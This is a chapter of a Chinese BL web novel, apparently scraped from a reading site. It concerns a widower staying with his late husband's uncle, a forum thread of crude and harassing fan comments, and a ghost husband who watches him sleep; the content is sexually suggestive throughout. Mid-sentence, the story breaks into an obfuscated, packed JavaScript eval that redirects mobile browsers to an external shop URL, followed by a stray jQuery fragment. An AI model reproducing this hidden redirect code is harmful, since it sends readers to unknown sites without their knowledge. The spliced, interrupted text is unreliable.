文趣网 > 都市小说 > 可怜的天然呆直男[快穿] > 3. 万人嫌娇妻(03)
    楚昀被带到了一个高档小区里。

    夜色浓郁,他看不出高不高档,只知道绿化和喷泉布置得不错。

    屋子是两室三厅,该有的家具一应俱全,看起来完全没居住痕迹。

    这是谢徵名下的房子,位置离公司近,加班偶尔住几次,更多是回老宅或直接在公司过夜。

    楚昀暂时住次卧。

    说是次卧但房间很宽敞,床已经提前铺好。

    “您可以先休息,个人物品马上就会送来。” 谢徵因为临时会议中途去了公司,跟楚昀说话的是助理,他第一次见楚昀,对着那张脸忍不住多看了两眼,“您需要夜宵吗?”

    被助理提醒,楚昀才后知后觉——

    晚饭和水果在被拽到车上时掉地上了。

    *

    助理的办事效率很快,楚昀吃个宵夜的时间就已经把生活用品都送来。

    “电脑需要重新置办,明天早上才能送来,搬来的花暂时放在了阳台上。这是给您准备的衣服和药。”

    药?

    楚昀朝助理手中看了眼,不大的一管,看着像烫伤膏。

    “谢总专门为您准备的,说您脑袋撞到了车门。”

    楚昀觉得自己快愈合了:“没事,我不疼了。”

    只是被撞,不至于到涂药的地步。

    助理想起谢徵的语气——明显是在说青年娇气任性。

    长得确实很像喜欢耍小性子的少爷,可意外得好相处。

    楚昀见他维持着动作没动,以为是不好交差,便从他手里接过药膏:“那你给我吧,以后可能用的到。谢谢你帮忙准备这些了。”

    青年的手指纤细修长,握着药膏时能看到凸出的骨骼。

    细小的脉络衬得皮肤盈白,手腕上的那颗小痣莫名涩气。

    回味着被蹭到手指的触感,助理离开了。

    楚昀吃完面出了一身细汗,刚要去洗澡就收到了陈阳提醒他直播的消息。

    他给陈阳回了个电话,说了搬家的前因后果。

    陈阳很重视这事,对于楚昀此时的情况问得一清二楚,在确定人安全后语气才缓和下来。

    “明天先去警局一趟再去录音棚,一会儿把地址发我,我明早去接你。”

    楚昀挂电话后查了下定位,没立刻发过去。

    在发定位前总要问问房子主人的意思。

    楚昀找到了谢徵的电话。

    他只给谢徵打过一次电话,那次谢砚发高烧还硬扛着工作,回来后就躺在床上昏迷不醒,他不知道家庭医生电话,手足无措地打给了谢徵。

    来回编辑了好几次,楚昀终于把消息发出去了。

    谢徵现在在开会,估计也没时间看消息,他又给陈阳发了消息:【我先去洗澡,等会儿再给你发。】

    【洗完会上线直播,不用担心。】

    另一头的陈阳正在登录论坛,一上去就通知管理员连ban了好几个贴。

    这群男粉过于激进疯狂,都开始当起私生了。

    刚才他仔细问了楚昀,说是没丢东西,但听语气不太对劲,应该是被偷的东西不好意思说出口。

    陈阳大概知道丢了什么。

    他感到后怕——如果是趁楚昀熟睡时偷偷进屋……后果不堪设想。

    估计什么脏东西都敢弄到青年脸上。

    *

    在那之后楚昀又磨蹭了半天才去浴室。

    洗完后谢徵已经回来了。

    “小叔。”他恭恭敬敬喊了一声,声音像是被热水泡过,软得很,“您开完会了吗?”

    谢徵惜字如金:“嗯。”

    楚昀“哦”了声,水滴顺着脸颊往下滴,落入雪白的胸口。

    他将头发随意往后撩,露出一张昳丽的脸。

    “我发了消息。”

    谢徵收到消息时有片刻的凝神,面上随意瞥了眼就重新投入到工作中。只是他也没察觉,在这之后的会议加快进程,提前半小时结束了。

    楚昀等着男人说同意还是不同意,结果对方一直不说话,他只好又问了一遍。

    谢徵终于肯开口:“你一定要做这些?”

    楚昀想了想:“我需要挣钱,现在没有人养我了。”

    谢徵:“谢砚的遗产够你花一辈子。”

    楚昀无法反驳。但那是主角重生后东山再起的资本,他现在少花一点谢砚报复他时就能多手下留情。

    见楚昀垂眼不说话,谢徵知道对方不认同自己的想法,也不会照他说得去做。

    谢砚的妻子,自然只听谢砚的话。

    他这个小叔只是外人。

    谢徵压着眼皮,周身气场不知不觉变得冷冽:“你的经纪人进不来这里,让他在门口等你。”

    楚昀反应几秒,才意识到谢徵这是同意了。

    “谢谢小叔,我很快就能找到新房子,绝对不会打扰您。”

    谢徵被他一口一个“您”弄得烦躁,听起来像是个故意发难晚辈的老东西。他没再待下去,直接回了老宅。

    老宅灯火通明,从远处看却阴森森的。

    谢徵不喜欢家里有人,保姆和园丁都是早早将活做完,下午四点前就离开了。

    宅子里什么声音都没有,昂贵家具布置在角落,打扫得一尘不染。

    谢徵坐到沙发上,想起楚昀放在桌上没收拾的外卖碗,随意搭在椅子上的外套——才不到一晚上,就在他房子里留下了不少痕迹。

    耳边也是“小叔”“小叔”的清越声音。

    谢徵将人从脑子里赶出去,然而没过几分钟,青年穿浴袍的模样冷不丁冒出来。

    他不应该点开谢砚的手机。

    男人莫名烦闷,单手拽开领带,衣领凌乱,一点也不像谢家严肃持重的掌权者。

    他见过楚昀穿浴袍。

    谢砚是他器重的小辈,能力出众,比起谢家其他人,他跟对方算得上关系不错。某天谢砚突然告诉他已经有了稳定交往的对象,想把人带回来让他见见。

    谢徵对于谢砚的私事并不关心,以为对方是谁家同样年龄的千金。

    没料到带回来的是个男人。

    他并不是对同性结婚有偏见,而是对谢砚带回来的这个人不满意。

    长得过分艳丽了,不太像能老实待在家里等丈夫的。

    谢徵很没风度地调查了楚昀的背景。

    果然,性格恶劣,黑料缠身,是他最反感的那类人。

    两人是在谢砚的生日宴后开始频繁见面的,交往还不到三个月,谢砚帮对方还清了经纪公司的违约金。

    谢砚向来谨慎,步步为营,肯定也调查过楚昀,可就算知道对方的目的也要订婚。

    对方勾引男人的手段可想而知。

    订婚后谢砚带楚昀来老宅看他,两人当晚留宿时分房睡,结果半夜,他在楼下听到敲门声。

    随后是很小的、含糊的声音。

    谢徵听力好,一字一顿都传到他耳中。

    “谢砚,我有点难受……”

    白天在他面前装乖的青年,晚上就发出这种能浪出水的声音。

    年轻人血气旺盛,谢徵理解——可在长辈家里,一晚上竟都忍不了。

    隔了两三个小时,他做完工作上楼,正好撞见谢砚抱着人出来。

    楚昀被浴袍包裹严实,两条雪白的胳膊柔弱无骨挂在谢砚脖子上,露出来的半张脸泛着不自在的潮红。

    只是被颠一下,身体反应就很大,脚趾紧绷,哆嗦个不停。

    身上气味淫/靡。

    ……

    谢砚在那晚也留下了几张照片,是楚昀的睡颜。

    镜头很近,连唇瓣上的咬痕都能看得一清二楚。

    谢徵觉得谢砚的手机像是有魔力一般,吸引着他一遍又一遍地打开。

    看久了,精神都开始恍惚。

    好像视频里用手指把

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17791985|210418||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    骚老婆搅得翻白眼的男人,成了他自己。

    *

    1楼:【今晚的直播截图,拿走不谢。

    图片.jpg.

    图片.jpg.

    图片.jpg.】

    2楼:【射射,已经谢了。】

    3楼:【手机直播好男友视角。】

    5楼:【已经代了,好想跪下来舔他。】

    6楼:【楼上那个,一个卖的你也愿意舔。】

    7楼回复6楼:【好可怕……顶着昀妹的露腰照当头像,主页全是重金收昀妹小卡的动态,结果每条评论都是在造h谣,不就是自己淦不到吗?】

    10楼:【话说昀妹说话都挺正经的,怎么你们老想着淦他?】

    11楼回复10楼:【装什么?】

    12楼回复10楼:【他要是在你前面,你不淦?】

    45楼:【已经有人扒出来了,楚昀身上这件衬衫是阿玛尼最新款,3w7。】

    46楼:【看来是靠擦边赚到钱了。】

    47楼:【楚昀擦什么了,哪次直播不是规规矩矩把衣服穿好,是你们心思脏,看什么都像透视装。】

    108楼:【主播能赚这么多?】

    109楼:【上次不是有人爆料说结婚了吗?估计是糖爹给买的。】

    110楼:【衣服显然不合身,穿得糖爹的?我们真金白银给他送礼物的成了play的一环?】

    111楼:【这还用说吗?今天弹幕上都在问他是不是处,哪次不是心虚转移话题?】

    112楼:【不行我受不了老婆已经被/艹过了啊啊啊!老婆答应我永远都是清纯处男白月光好吗!】

    113楼:【话说老婆还真不会撒谎,小表情好多,以后给我戴绿帽子估计吓一吓就哭着自己招了。】

    245楼:【绿帽癖偷偷藏不住了,这种扫货就该狠狠治,要是敢出轨我会把他那里扇肿,看他下次还敢不敢!】

    ……

    晚上仅十分钟的直播论坛就疯成一片,说什么垃圾话的都有。

    而私底下被梦男们喊“老婆”的楚昀,正在被他的真老公注视。

    老婆……

    谢砚死死盯着自己的妻子。

    大概是老天看他跟妻子过于恩爱,舍不得让他们阴阳相隔,谢砚死后并没有立刻离开,而是被困在自己的遗像里。

    不能动弹,无法开口。

    每天唯一的盼头就是等待自己的妻子回房间。

    楚昀睡觉很随意,上衣因为姿势一路绞到腰上,露出两条匀称雪白的长腿。

    谢砚恨不得自己长出手脚,帮楚昀盖被子。

    他实在担心,没了他楚昀以后的生活该怎么办。遗产够花吗?能照顾好自己吗?会不会被欺负?

    还有,想要的时候……如何解决。

    会找其他男人吗?

    谢砚心底一寒。

    想到另一个男人会在他碰过的地方留下痕迹,吃他吃过的地方,吞下他咽进去的东西,他大概会被气得活过来。

    不可以。

    楚昀只能有他一个男人。

    男鬼的视线死死钉在楚昀身上,仿佛这样就能跟对方融为一体。

    很快,楚昀就动了动。

    他并没有醒,睫毛轻颤,呼吸声变得不稳。

    两条长腿并拢起来,无意识地蹭来蹭去。

    谢砚屏住呼吸。

    他知道,老婆的瘾症犯了。

    还在世的时候,他从来不会让楚昀受这种罪,每次都是主动把脸凑过去,鼻子用力地磨,感受妻子颤抖不止的身体。

    夹腿对楚昀来说远远不够。

    可这样得不到满足难受到轻哼的妻子,看起来好骚。

    谢砚盯得过于入迷,等到亮晶晶的水渍打湿衣服才察觉——被楚昀当睡衣的这件衬衫很不合身,明显大许多。

    可并不是他的。